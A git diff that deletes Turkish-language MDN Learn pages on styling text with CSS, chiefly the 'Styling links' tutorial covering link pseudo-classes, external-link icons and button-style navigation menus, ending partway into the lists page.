Golgelendirme - - Hat - - Landing - - Links - - Listeler - - Mektup - - Metin - - Modul - - Module - - Text - - Web Yazı Tipleri - - Yazı Tipi - - font - - letter - - line - - lists - - shadow - - web fonts -translation_of: Learn/CSS/Styling_text -original_slug: Öğren/CSS/Styling_text ---- -<div>{{LearnSidebar}}</div> - -<p>CSS dilinin temelleri ele alındığında, odaklanmamız gereken bir sonraki konu, CSS ile yapacağımız en yaygın uygulamalardan biri olan metnin stilini oluşturmaktır. Bu ünitede yazı tipini, kalınlığı, italikliği, satır ve harf aralığını, alt gölgeler ve diğer metin özellikerini ayarlamak da dahil olmak üzere metin stilinin temellerine bakacağız. Sayfamıza özel yazı tiplerini uygulamak, listeleri ve bağlantıları şekillerdirmeye bakarak üniteyi tamamlayacağız.</p> - -<div class="callout"> -<h3 id="Bir_front-endarayüz_geliştiricisi_mi_olmak_istiyorsun"><span class="highlight-span">Bir front-end(arayüz) geliştiricisi mi olmak istiyorsun?</span></h3> - -<p>Hedefine ulaşabilmen için ihtiyanıcın olan tüm temel bilgileri içeren bir kurs hazırladık.</p> - -<p><a class="cta primary" href="/tr/docs/Learn/Front-end_web_developer">Başla</a></p> -</div> - -<h2 id="Ön_Koşullar">Ön Koşullar</h2> - -<p>Bu üniteye başlamadan önce, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML'e giriş</a> ünitesinde ele aldığımız temel HTML bilgisine ve <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS'e giriş</a> ünitesinde ele aldığımız CSS'in temel ilkelerini biliyor olmanız gerekmektedir.</p> - -<div class="note"> -<p><strong>Not</strong>: Eğer çalışırken kullandığınız cihazınızda (bilgisayar, tablet veya diğer cihazlar) kendi örneklerinizi yazıp çalışabileceğiniz bir ortamınız bulunmuyorsa, <a href="https://jsbin.com/">JSBin</a>,<a href="https://codepen.io/"> CodePen</a> veya <a href="https://glitch.com/">Glitch</a> ortamlarını çevrimiçi kullanabilirsiniz.</p> -</div> - -<h2 id="Rehber">Rehber</h2> - -<p>Bu modül, HTML metin içeriğini şekillendirmenin altındaki tüm temelleri öğretecek dersleri içerir.</p> - -<dl> - <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Temel metin ve yazı tipi stili</a></dt> - <dd>Bu derste yazı tipinin; kalınlığını, ailesini ve stilini, kısa tanımını, hizalanmasını, satır ve harf aralığını ve diğer efektleri ayarlama da dahil olmak üzere metnin/fontun stilini belirlemede kullanacağımız tüm yöntemleri ele alacağız.</dd> - <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Listeleri biçimlendirme</a></dt> - <dd>Listelerin diğer metinler gibi davranmanın yanında kendilerine özgü bilmeniz gereken bazı davranışları ve dikkat etmeniz bazı uygulamaları vardır. Bu ders de her şeyi açıklayacağım.</dd> - <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Bağlantıları biçimlendirme</a></dt> - <dd>Bağlantıları şekillendirirken, bağlantı durumlarını etkili bir şekilde biçimlendirmek için sözde sınıflardan nasıl yararlanılacağını, gezinme menüleri ve sekmeler gibi yaygın arayüz özelliklerinde kullanılan bağlantıların nasıl şekillendirileceğini anlamak önemlidir. Bu yazıda tüm bu konuların üzerinden geçeceğiz.</dd> - <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Web yazı tipleri</a></dt> - <dd>Bu derste web yazı tiplerini ayrıntılı olarak inceleyeceğiz — bunlar, sistemlerde bulunurluluğu az olan fontları veya özel metin stillerini web sayfanızda kullanmanıza olanak sağlayan yaklaşımları ele alacağız.</dd> -</dl> - -<h2 id="Değerlendirmeler">Değerlendirmeler</h2> - -<p>Aşağıdaki değerlendirme, yukarıdaki rehberlerde anlatılan metin şekillendirme tekniklerini ne düzeyde anladığınızı test edecektir.</p> - -<dl> - <dt><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Bir okulun ana sayfasındaki metinleri şekillendirmek</a></dt> - <dd>Bu değerlendirme, bir okulun ana sayfasındaki metinlerin stilini belirleme kabileyitini ve metnin şekillendirme konusundaki yaklaşımını test edecektir.</dd> -</dl> - -<div class="jfk-bubble gtx-bubble"> -<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div> - -<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowup" style="left: 302px;"> -<div class="jfk-bubble-arrowimplbefore"></div> - -<div class="jfk-bubble-arrowimplafter"></div> -</div> -</div> diff --git a/files/tr/learn/css/styling_text/styling_links/index.html b/files/tr/learn/css/styling_text/styling_links/index.html deleted file mode 100644 index d707f4f5bb..0000000000 --- a/files/tr/learn/css/styling_text/styling_links/index.html +++ /dev/null @@ -1,454 +0,0 @@ ---- -title: Bağlantıları şekillendirmek -slug: Learn/CSS/Styling_text/Styling_links -tags: - - Article - - Beginner - - CSS - - Focus - - Guide - - Learn - - Links - - Pseudo-class - - hover - - hyperlinks - - menus - - tabs -translation_of: Learn/CSS/Styling_text/Styling_links -original_slug: Öğren/CSS/Styling_text/Styling_links ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</div> - -<p class="summary"><a href="/tr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Bağlantıları</a> etkili bir şekilde şekillendirmek için sözde sınıfların nasıl kullanılacağını anlamak önemlidir. Navigasyon menülerinin ve sekmelerdeki bu tarz bağlantıların ortak görünümlerinin ayarlanması bu yazımızda tüm hatlarıyla ele alacağız.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanma, HTML temelleri(<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">HTML'ye Giriş</a> bölümünü inceleyin), CSS temelleri (<a href="/tr/docs/Öğren/CSS/Introduction_to_CSS">CSS'e Giriş</a>), <a href="/tr/docs/Öğren/CSS/Styling_text/Fundamentals">CSS temel metin ve yazı tipi biçimi</a>.</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Bağlantı durumlarının nasıl biçimlendirileceğini ve bağlantıların gezinme menüleri gibi yaygın kullanıcı arabirimi özelliklerinde nasıl etkili bir şekilde kullanılacağını öğrenmek.</td> - </tr> - </tbody> -</table> - -<h2 id="Bağlantılara_bir_göz_atalım">Bağlantılara bir göz atalım</h2> - -<p>HTML'mizde <a href="/tr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">bağlantı oluşturma</a> konusundaki en iyi uygulamaları ve yaklaşımları inceledik. Bu derste, bu bilgileri temel alarak bağlantıların stilini belirlemek için en iyi uygulamaları ve yaklaşımları göstereceğiz.</p> - -<h3 id="Bağlantı_durumları">Bağlantı durumları</h3> - -<p>Anlaşılması gereken ilk konu, bağlantı durumları kavramıdır — bağlantıların farklı durumlarının, farklı <a href="/tr/Öğren/CSS/Introduction_to_CSS/Selectors#Pseudo-classes">sözde sınıflar</a> ile kontrol edilebilmesidir:</p> - -<ul> - <li><strong>Bağlantı</strong>: {{cssxref(":link")}} sözde sınıfı ile hedeflenilebilen ve bir hedefi olan bir bağlantıdır (sadece adlandırılmış boş bir bağlantı olmayan).</li> - <li><strong>Ziyaret edilmiş</strong>: {{cssxref(":visited")}} sözde sınıfı kullanılarak hedeflenilebilen, tarayıcıda daha önceden ziyaret edilmiş bağlantılardır.</li> - <li><strong>Üzerinde</strong>: {{cssxref(":hover")}} sözde sınıfıyla hedeflenebilen, farenin imlecinin üzerinde durduğu bağlantıdır.</li> - <li><strong>Odak</strong>: {{cssxref(":focus")}} sözde sınıfıyla hedeflenebilen, odaklanılmış bağlantılardır (örn, klavye kullanıcısı tarafından <kbd>Tab</kbd> tuşu veya benzeri tuşlarla odaklanılmış bağlantıdır.</li> - <li><strong>Aktif</strong>: {{cssxref(":active")}} sözde sınıfıyla hedeflenebilen, etkinleştirilmiş (örn üzerine tıklanılmış) bir bağlantıdır.</li> -</ul> - -<h3 id="Varsayılan_stiller">Varsayılan stiller</h3> - -<p>Aşağıdaki örnek, bir bağlantının varsayılan olarak nasıl davranacağını göstermektedir(CSS, daha fazla öne çıkması için metni büyükmekte ve ortalamaktadır.)</p> - -<pre class="brush: html notranslate"><p><a href="#">Basit bir bağlantı</a></p> -</pre> - -<pre class="brush: css notranslate">p { - font-size: 2rem; - text-align: center; -}</pre> - -<p>{{ EmbedLiveSample('Varsayılan_stiller', '100%', 120) }}</p> - -<div class="note"> -<p><strong>Not</strong>: Bu sayfadaki örneklerdeki tüm bağlantılar sahte bağlantılardır. Gerçek URL'nin yerine # işareti kullanılmıştır. Bunun nedeni, gerçek bağlantılar dahil edilmiş olsaydı, bunlara tıklamanız örnekleri bozacaktı.</p> -</div> - -<p>Varsayılan stilleri keşfederken birkaç şeyi fark edeceksiniz:</p> - -<ul> - <li>Bağlantıların altı çizilmiştir.</li> - <li>Ziyaret edilmeyen bağlantılar mavidir.</li> - <li>Ziyaret edilen bağlantılar mordur.</li> - <li>Bir bağlantının üzerine gelindiğinde fare imlecinin simgesi küçük bir el simgesine dönüşür.</li> - <li>Odaklanmış bağlantıların etrafında bir ana hat vardır.</li> - <li>Aktif bağlantılar kırmızıdır(Tıklama esnasında farenin düşmesini basılı tutmayı deneyin).</li> -</ul> - -<p>İlginçtir ki, bu varsayılan stiller, 1990'ların ortalarında tarayıcıların ilk günlerindeki ile neredeyse aynıdır. Bunun nedeni, kullanıcıların bu davranışı bilmesi ve beklemesidir — bağlantılar farklı şekilde tasarlanırsa birçok insanın kafası karışabilir. Tabiki bu, bağlantılara hiçbir şekilde stil vermemeniz gerektiği anlamına gelmez, sadece beklenen davranıştan çok uzaklaşmamalısınız. En azından şunları yapmalısınız:</p> - -<ul> - <li>Bağlantılar için alt çizgi kullanın, ancak başka şeyler için kullanmayın. Bağlantıların altını çizmek istemiyorsanız, en azından onları başka bir şekilde vurgulayın. Ne oldukları belli olsun kimse onların ne işe yaradığını bulmak için zaman harcamasın.</li> - <li>Üzerine gelindiklerinde/odaklanıldıklarında bir şekilde etkinleştirildiklerinde biraz farklı bir şekile girmelerini sağlayın. Sayfanıza hem hareket katmış olursunuz.</li> -</ul> - -<p>Varsayılan stiller, aşağıdaki CSS özellikleri kullanılarak kapatılabilir/değiştirilebilir:</p> - -<ul> - <li>{{cssxref("color")}} metin rengi için.</li> - <li>{{cssxref("cursor")}} fare işaretçisi stili — çok iyi bir nedeniniz yoksa bunu kapatmamalısınız.</li> - <li>{{cssxref("outline")}} Ana hat, kullanışlı bir erişilebilirlik yardımcısıdır, bu yüzden kapatmadan önce dikkatlice düşünün.</li> -</ul> - -<div class="note"> -<p><strong>Not</strong>: Bağlantılarınızı biçmlendirmek için sadece yukarıdaki özelliklerle sınırlı değilsiniz — istediğiniz herhangi bir özelliği kullanmakta özgürsünüz. Sadece çok abartmamaya çalışın!</p> -</div> - -<h3 id="Bağlantıların_stilini_belirleme">Bağlantıların stilini belirleme</h3> - -<p>Şimdi varsayılan durumlara biraz ayrıntılı olarak baktık, tipik bir bağlantı stilleri kümesine bakalım.</p> - -<p>Başlangıç olarak boş kural kümelerimizi yazacağız:</p> - -<pre class="brush: css notranslate">a { - -} - - -a:link { - -} - -a:visited { - -} - -a:focus { - -} - -a:hover { - -} - -a:active { - -}</pre> - -<p>Bu sıra önemlidir, çünkü bağlantı stilleri birbiri üzerine inşa edilir, örneğin ilk kuraldaki stiller sonraki tüm stillere uygulanır ve bir bağlantı etkinleştirildiğinde, genellikle üzerine de gelir. bunları yanlış sıraya koyarsanız ve her kural setinde aynı özellikleri değiştirirseniz, işler beklendiğiniz gibi çalışmayacaktır. "<strong>L</strong>a<strong>V</strong> <strong>F</strong>ena <strong>HA</strong>lde sıcak" kelimesini anımsatıcı olarak kullanabilirsiniz.</p> - -<p>Şimdi bunu doğru bir şekilde şekillendirmek için biraz daha bilgi ekleyelim:</p> - -<pre class="brush: css notranslate">body { - width: 300px; - margin: 0 auto; - font-size: 1.2rem; - font-family: sans-serif; -} - -p { - line-height: 1.4; -} - -a { - outline: none; - text-decoration: none; - padding: 2px 1px 0; -} - -a:link { - color: #265301; -} - -a:visited { - color: #437A16; -} - -a:focus { - border-bottom: 1px solid; - background: #BAE498; -} - -a:hover { - border-bottom: 1px solid; - background: #CDFEAA; -} - -a:active { - background: #265301; - color: #CDFEAA; -}</pre> - -<p>Ayrıca, yazdığımız CSS'i uygulamak için örnek HTML kodunu aşağıda sağlayacağım:</p> - -<pre class="brush: html notranslate"><p><a href="#">Mozilla Firefox</a>, <a href="#">Google Chrome</a>, ve -<a href="#">Microsoft Edge</a> gibi çeşitli tarayıcılar mevcuttur.</p></pre> - -<p>İkisini bir araya getirmek bize şu sonucu verir:</p> - -<p>{{ EmbedLiveSample('Bağlantıların_stilini_belirleme', '100%', 150) }}</p> - -<p>Peki burada ne yaptık? Bu kesinlikle varsayılan stilden farklı görünüyor, ancak yine de kullanıcıların neler olup bittiğini bilmesi için yeterince tanıdık bir deneyim sağlıyor:</p> - -<ul> - <li>İlk iki kural burada tartışmak için önemli değil.</li> - <li>Üçüncü kural <code>a</code>, metnin altındaki varsayılan çizgiden ve odak çerçevesinden kurtulmak için seçiciyi kullanır(Her halükarda tarayıcılara göre değişir) ve her bağlantıya küçük bir miktar dolgu ekler — bunların tümü daha sonra netleşecektir.</li> - <li>Daha sonra, ziyaret edilmeyen ve ziyaret edilen bağlantılarda birkaç renk varyasyonu ayarlamak için <code>a:link</code> ve <code>a:visited</code> sözde sınıf seçicilerini kullanarak her ikisi durum için de farklı ayarlamalar yapabiliriz.</li> - <li>Sonraki iki kural ile <code>a:focus</code> ve <code>a:hover</code> sözde sınıfları ile odaklanma ve üzerinde bulunma durumları için farklı alt çizgi ve arka plan renkleri ayarlıyoruz. Burada dikkat edilmesi gereken iki nokta vardır: - <ul> - <li>Alt çizgi {{cssxref("border-bottom")}} kullanılarak oluşturuldu, {{cssxref("text-decoration")}} ile değil — bazı insanlar bunu tercih ediyor çünkü birincisi ikincisinden daha iyi stil seçeneklerine sahip ve biraz daha aşağıdan çiziliyor ve bu yüzden altı çizilen kelimenin altlarını kesmiyor.</li> - <li>{{cssxref("border-bottom")}} niteliğine <code>1px solid</code> değeri renk değeri girilmeden tanımlanmıştır. Bu sayede kenarlığın öğenin metniyle aynı rengi almasını sağladık. Bu metnin farklı renkleri alacağı durumlarda oldukça faydalıdır.</li> - </ul> - </li> - <li>Son olarak <code>a:active</code> sözde sınıfı ile etkinleştirilen bağlantılara ters renk şeması vererek bir şeylerin gerçekleşmek üzere olduğunu netleştirmek için kullanışlıdır!</li> -</ul> - -<h3 id="Aktif_öğrenme_Kendi_bağlantılarınızın_stilini_belirleyin">Aktif öğrenme: Kendi bağlantılarınızın stilini belirleyin</h3> - -<p>Bu aktif öğrenme oturumunda bağlantıların gerçekten harika görünmesini sağlamak için boş kuralar setimizi almanızı ve kendi beyanlarınızı eklemenizi istiyoruz. Hayal gücünüzü kullanın, ufkunuzu aşın. Yukarıdaki örneğimiz kadar havalı ve en az işlevsel olan bir şey bulabilceğinizden eminiz.</p> - -<p>Bir hata yaparsanız, her zaman <em>Sıfırla</em> düşmesini kullanarak <em>sıfırlayabilirsiniz.</em> Zorlandığınızda yukarıda gösterdiğimiz örneği eklemek için <em>Çözümü göster</em> düşmesini kullanın.</p> - -<div class="hidden"> -<h6 id="Playable_code">Playable code</h6> - -<pre class="brush: html notranslate"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> - <h2>HTML Input</h2> - <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><p><a href="#">Mozilla - Firefox</a>, <a href="#">Google Chrome</a>, ve -<a href="#">Microsoft Edge</a> gibi tarayıcılar mevcuttur.</p></textarea> - - <h2>CSS Input</h2> - <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">a { - -} - -a:link { - -} - -a:visited { - -} - -a:focus { - -} - -a:hover { - -} - -a:active { - -}</textarea> - - <h2>Output</h2> - <div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div> - <div class="controls"> - <input id="reset" type="button" value="Sıfırla" style="margin: 10px 10px 0 0;"> - <input id="solution" type="button" value="Çözümü göster" style="margin: 10px 0 0 10px;"> - </div> -</div> -</pre> - -<pre class="brush: js notranslate">var htmlInput = document.querySelector(".html-input"); -var cssInput = document.querySelector(".css-input"); -var reset = document.getElementById("reset"); -var htmlCode = htmlInput.value; -var cssCode = cssInput.value; -var output = document.querySelector(".output"); -var solution = document.getElementById("solution"); - -var styleElem = document.createElement('style'); -var headElem = document.querySelector('head'); -headElem.appendChild(styleElem); - -function drawOutput() { - output.innerHTML = htmlInput.value; - styleElem.textContent = cssInput.value; -} - -reset.addEventListener("click", function() { - htmlInput.value = htmlCode; - cssInput.value = cssCode; - drawOutput(); -}); - -solution.addEventListener("click", function() { - htmlInput.value = htmlCode; - cssInput.value = 'p {\n font-size: 1.2rem;\n font-family: sans-serif;\n line-height: 1.4;\n}\n\na {\n outline: none;\n text-decoration: none;\n padding: 2px 1px 0;\n}\n\na:link {\n color: #265301;\n}\n\na:visited {\n color: #437A16;\n}\n\na:focus {\n border-bottom: 1px solid;\n background: #BAE498;\n}\n\na:hover {\n border-bottom: 1px solid;\n background: #CDFEAA;\n}\n\na:active {\n background: #265301;\n color: #CDFEAA;\n}'; - drawOutput(); -}); - -htmlInput.addEventListener("input", drawOutput); -cssInput.addEventListener("input", drawOutput); -window.addEventListener("load", drawOutput); -</pre> -</div> - -<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p> - -<h2 id="Bağlantılara_simgeler_eklemek">Bağlantılara simgeler eklemek</h2> - -<p>Yaygın bir uygulama, bağlantının ne tür içeriğe işaret ettiğine dair daha fazla gösterge sağlamak için bağlantılara simgeler eklemektir. Buna örnek; bizim kullandığımız, bir kutunun içerisinden çıkan bir ok gibi görünen bağlantı simgesidir — <a href="https://icons8.com/web-app/741/external-link">Örnek olabilecek simgeler için icons8.com</a>.</p> - -<p>Bize istediğimiz etkiyi verecek bazı HTML ve CSS'ese bakalım. İlk olarak, stil vermek için bazı basit HTML'ler:</p> - -<pre class="brush: html notranslate"><p>Hava Durumu hakkında daha fazla bilgi için <a href="#">hava durumu sayfamızı</a> ziyaret edin, -ayrıca <a href="http://#">Wikipedia'da hava durumu</a>, veya <a href="http://#">Extreme Science</a>'daki hava durumuna bakın.</p></pre> - -<p>Ardından CSS:</p> - -<pre class="brush: css notranslate">body { - width: 300px; - margin: 0 auto; - font-family: sans-serif; -} - -p { - line-height: 1.4; -} - -a { - outline: none; - text-decoration: none; - padding: 2px 1px 0; -} - -a:link { - color: blue; -} - -a:visited { - color: purple; -} - -a:focus, a:hover { - border-bottom: 1px solid; -} - -a:active { - color: red; -} - -a[href*="http"] { - background: url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0; - background-size: 16px 16px; - padding-right: 19px; -}</pre> - -<p>{{ EmbedLiveSample('Bağlantılara_simgeler_eklemek', '100%', 150) }}</p> - -<p>Peki burada neler oluyor? Daha önce baktığınız bilgilerin aynısı olduğu için CSS'nin çoğunu atlayacağız. Bununla birlikte, son kural ilginçtir — burada, son makaledeki <a href="/tr/Öğren/CSS/Styling_text/Styling_lists#Using_a_custom_bullet_image">liste öğelerinde özel madde işaretlerini</a> işlediğimize benzer bir şekilde harici bbağlantılara özel bir arka plan görüntüsü ekliyoruz. ancak bu sefer uzun tanımların yerine {{cssxref("background")}} kısa tanımını kullanıyoruz. Eklemek istediğimiz görüntünün yolunu belirliyoruz, <code>no-repeat</code> ile sadece bir kopyasının olmasını istediğimizi belirtip, konumunu %100 ile metinin sağ tarafında ve üstten 0 piksel olmasını sağlıyoruz.</p> - -<p>{{cssxref("background-size")}} niteliğini bağlantının yanında gösterilmesini istediğimiz simgenin boyutunu belirtmek için kullanırız. Daha büyük bir simgeyi kullanarak duyarlı web tasarımları oluşturabilmek için faydalı olacaktır. Ancak bu yalnızca IE9 ve sonraki sürümlerde çalışır, bu nedenle bu eski tarayıcıları desteklemeniz gerekiyorsa, yalnızca görüntüyü yeniden boyutlandırmanız ve olduğu gibi eklemeniz gerekir. Modern tarayıcıların işlevselliğini düşürmek iyi midir?</p> - -<p>Son olarak, {{cssxref("padding-right")}} niteliği ile arka plan resmnin görünmesi için bağlantıların sağına boşluk bıraktık böylece simgemiz sonrasında gelen metinlerle örtüşmedi.</p> - -<p>Son bir söz, sadece harici(başka sitelere olan) bağlantıları nasıl seçtik? <a href="/tr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">HTML bağlantıları</a> yazarken sadece dış bağlantılar için mutlak URL'eleri kullanmalısınız — kendi siteniz içerisinde göreceli bağlantıları tercih etmeniz faydalı olacaktır. Bu sayede "http" metni yalnızca harici/dış bağlantılarda(ikinci ve üçüncüde olduğu gibi) tanımlanmalıdır ve bu şekilde <a href="/tr/Öğren/CSS/Introduction_to_CSS/Selectors#Attribute_selectors">nitelik şeciciyle</a>(<code>a[href*="http"])</code> {{htmlattrxref("href","a")}} öğemizdeki "http" ile başlayan bağlantıları seçebiliriz.</p> - -<p>İşte bu kadar — yukarıdaki aktif öğrenme bölümünü tekrar gözden geçirmeyi ve bu yeni tekniği denemeyi deneyin!</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: <code>href</code> değerleri garip görünebilir — bu örneklerde hiçbir yere gitmeyen sahte bağlantılar kullandık. Bunun nedeni, gerçek bağlantılar kullanırsak <code><iframe></code> içeriğindeki canlı örnekte farklı bir siteye gideceğiniz ve örneği kaybetmiş olacağınızdandır.</p> -</div> - -<div class="note"> -<p><strong>Not</strong>: Henüz <a href="/tr/docs/Öğren/CSS/Styling_boxes">arka planlar</a> ve <a href="/tr/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">duyarlı web tasarımına</a> aşina değilseniz endişelenmeyin; bu konular farklı yerlerde açıklanmıştır.</p> -</div> - -<h2 id="Bağlantıları_buton_olarak_biçimlendirmek">Bağlantıları buton olarak biçimlendirmek</h2> - -<p>Bu derste şu ana kadar keşfettiğiniz araçlar başka şekillerde de kullanılabilir. Örneğin, fareyle üzerine gelme gibi durumlar yalnızca bağlantıları değil, birçok farklı öğeyi biçimlendirmek için de kullanılabilir — parafrafların, liste öğelerinin veya diğer şeylerin fareyle üzerine gelme durumunu vurgulamak isteyebilirsiniz.</p> - -<p>Ek olarak, bağlantılar genellikle belirli durumlarda düğmeler gibi görünecek ve davranacak şekilde biçimlendirilmiştir — bir web sitesi gezinme menüsü genellikle bağlantıları içeren bir liste olarak işaretlenir ve bu bir dizi kontrol düşmesi veya sekme gibi görünecek şekilde kolayca biçimlendirilebilir. Nasıl olduğunu keşfedelim.</p> - -<p>İlk olarak, biraz HTML:</p> - -<pre class="brush: html notranslate"><ul> - <li><a href="#">Ana Sayfa</a></li><li><a href="#">Pizza</a></li><li><a href="#">Müzik</a></li><li><a href="#">Wombatlar</a></li><li><a href="#">Türkiye</a></li> -</ul></pre> - -<p>ve birazda CSS:</p> - -<pre class="brush: css notranslate">body,html { - margin: 0; - font-family: sans-serif; -} - -ul { - padding: 0; - width: 100%; -} - -li { - display: inline; -} - -a { - outline: none; - text-decoration: none; - display: inline-block; - width: 19.5%; - margin-right: 0.625%; - text-align: center; - line-height: 3; - color: black; -} - -li:last-child a { - margin-right: 0; -} - -a:link, a:visited, a:focus { - background: yellow; -} - -a:hover { - background: orange; -} - -a:active { - background: red; - color: white; -}</pre> - -<p>Bu bize şu sonucu verir:</p> - -<p>{{ EmbedLiveSample('Bağlantıları_buton_olarak_biçimlendirmek', '100%', 100) }}</p> - -<p>En ilginç kısımlara odaklanarak burada neler olduğunu açıklayalım:</p> - -<ul> - <li>İkinci kural; {{htmlelement("ul")}} öğemizin varsayılan {{cssxref("padding")}} değerini sıfırlar ve genişliğini ebeveyni olan {{htmlelement("body")}} tamamını kullanmasını söyler.</li> - <li>{{htmlelement("li")}} öğeleri normal davranışlarında blok öğeler olarak davranırlar(göz atmak için <a href="/tr/Öğren/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">CSS kutu tipleri</a>'ne bakın), yani kendi satırlarına sahip olacak şekilde davranırlar. Fakat biz burada {{cssxref("display")}} niteliği ile {{htmlelement("li")}} öğelerimizin satır içi öğeler olacak şekilde tanımlıyoruz ve bu şekilde {{htmlelement("li")}} öğelerimiz aynı satır içerisinde yan yana durabiliyorlar.</li> - <li>Dördüncü kuralımız, {htmlelement("a")}} öğemizi biçimlendiren en karmaşık kuralımızdır. Hadi adım adım inceleyelim - <ul> - <li>Önceki örneğimizdeki gibi varsayılan {{cssxref("text-decoration")}} ve {{cssxref("outline")}} niteliklerimizi kapatıyoruz ki görünüşü bozmasınlar</li> - <li>Daha sonra {{cssxref("display")}} niteliğimize <code>inline-block</code> değerini atayarak {{htmlelement("a")}} öğemizin satır içi öğe gibi davranıp diğer kardeşleriyle aynı satırda bulunmalarını ve aynı zamanda bir blok öğe gibi davranıp boyutlandırılabilmesini sağlıyoruz.</li> - <li>Şimdi boyutlandıralım! {{htmlelement("ul")}} öğemizin tüm içeriğini doldurmak istiyoruz. Bu yüzden her düğme arasında küçük bir kanar boşluğu bırakıyoruz(ancak sağ kenarda bir boşluk bırakmayacağız) ve hepsinin aynı boyutta olmasını istediğimiz 5 adet butonumuz olduğu için her birinin genişliğini %19,5 ve sağdan kenar boşluğu olarakda %0,625 olarak tanımlıyoruz. Tüm bu genişliklerin toplamının %100,625 olduğunu farkadeceksiniz ve buda son düğmenin taşmasına neden olacaktır fakat bir sonraki kuralda son <code><a></code> öğemizin sağdaki boşluğunu sıfırladığımız için butonlarımız <code><ul></code> öğemizin içerisine tam olarak oturacaktır.</li> - <li>Son üç beyan oldukça basittir ve sadece görsel amaçlıdır. Metinleri bağlantı butonları içerisinde yatay olarak ortaladık ve {{cssxref("line-height")}} niteliğine 3 değerini tanımlayarak metinlerimizi buton içerisinde dikey olarakta hizaladık ve metin rengini siyah olarak tanımladık.</li> - </ul> - </li> -</ul> - -<div class="note"> -<p><strong>Not</strong>: HTML'deki liste öğelerinin hepsinin birbiriyle aynı satıra yerleştirildiğini fark etmiş olabilirsiniz — bu yapılır çünkü satır içi blok öğeleri arasındaki boşluklar / satır kesmeleri, sözcükler arasındaki boşluklar gibi sayfada boşluklar oluşturur ve bu tür boşluklar yatay gezinme menüsü düzenimizi bozacaktır. Bu yüzden boşlukları kaldırdık. Bu sorun(ve çözümleri) hakkında daha fazla bilgiyi <a href="https://css-tricks.com/fighting-the-space-between-inline-block-elements/">satır içi blok öğeleri arasındaki boşluklarla savaşma </a>bölümünde bulabilirsiniz.</p> -</div> - -<h2 id="Becerilerinizi_tes_edin!">Becerilerinizi tes edin!</h2> - -<p>Bu dersimizin sonuna geldik ve aktif öğrenme bölümlerimizde zaten bazı beceri testleri yaptınız, ancak ileriye dönük en önemli bilgileri hatırlıyor musunuz? Dersin sonunda bu bilgileri sakladığınızı doğrulamak için bir değerlendirme bulabilirsiniz - bkz. <a href="/tr/docs/Öğren/CSS/Styling_text/Typesetting_a_homepage">Bir topluluk okulunun ana sayfası tasarımı</a>.</p> - -<p>Bu değerlendirme, bu dersin tartışılan tüm bilgilerini test eder, bu nedenle bir sonraki makaleye geçmeden önce okumak isteyebilirsiniz.</p> - -<h2 id="Özet">Özet</h2> - -<p>Umarız bu derste, bağlantılar hakkında bilmeniz gereken her şeyi size sağlamıştır — şimdilik! til metni dersimizdeki son makale, web sitelerinizde özel yazı tiplerini veya daha iyi bilindiği şekilde web yazı tiplerini nasıl kullanacağınızı ayrınılarıyla anlatıyor.{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</p> - -<h2 id="Bu_ünitede">Bu ünitede</h2> - -<ul> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Fundamentals">Temel metin ve yazı tipi şekilleri</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Styling_lists">Listeleri şekillendirme</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Styling_links">Bağlantıları şekillendirme</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Web_fonts">Web yazı tipleri</a></li> - <li><a href="/tr/Öğren/CSS/Styling_text/Typesetting_a_homepage">Bir topluluk okulunun ana sayfasını düzenleme</a></li> -</ul> diff --git a/files/tr/learn/css/styling_text/styling_lists/index.html b/files/tr/learn/css/styling_text/styling_lists/index.html deleted file mode 100644 index 08e335a537..0000000000 --- a/files/tr/learn/css/styling_text/styling_lists/index.html +++ /dev/null @@ -1,437 +0,0 @@ ---- -title: Listeleri Şekillendirmek -slug: Learn/CSS/Styling_text/Styling_lists -tags: - - Acemi - - Article - - Beginner - - CSS - - Ders - - Guide - - Listeler - - Metin - - Rehber - - Stil - - Styling - - Text - - biçimlendirme - - bullets - - lists - - Şekillendirme -translation_of: Learn/CSS/Styling_text/Styling_lists -original_slug: Öğren/CSS/Styling_text/Styling_lists ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</div> - -<p><a href="/tr/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">Listeler</a> çoğunlukla diğer metinler gibi davranır, ancak bilmeniz gereken bazı listelere özgü CSS özellikleri ve uygulama yaklaşımları vardır. Bu ders herşeyi 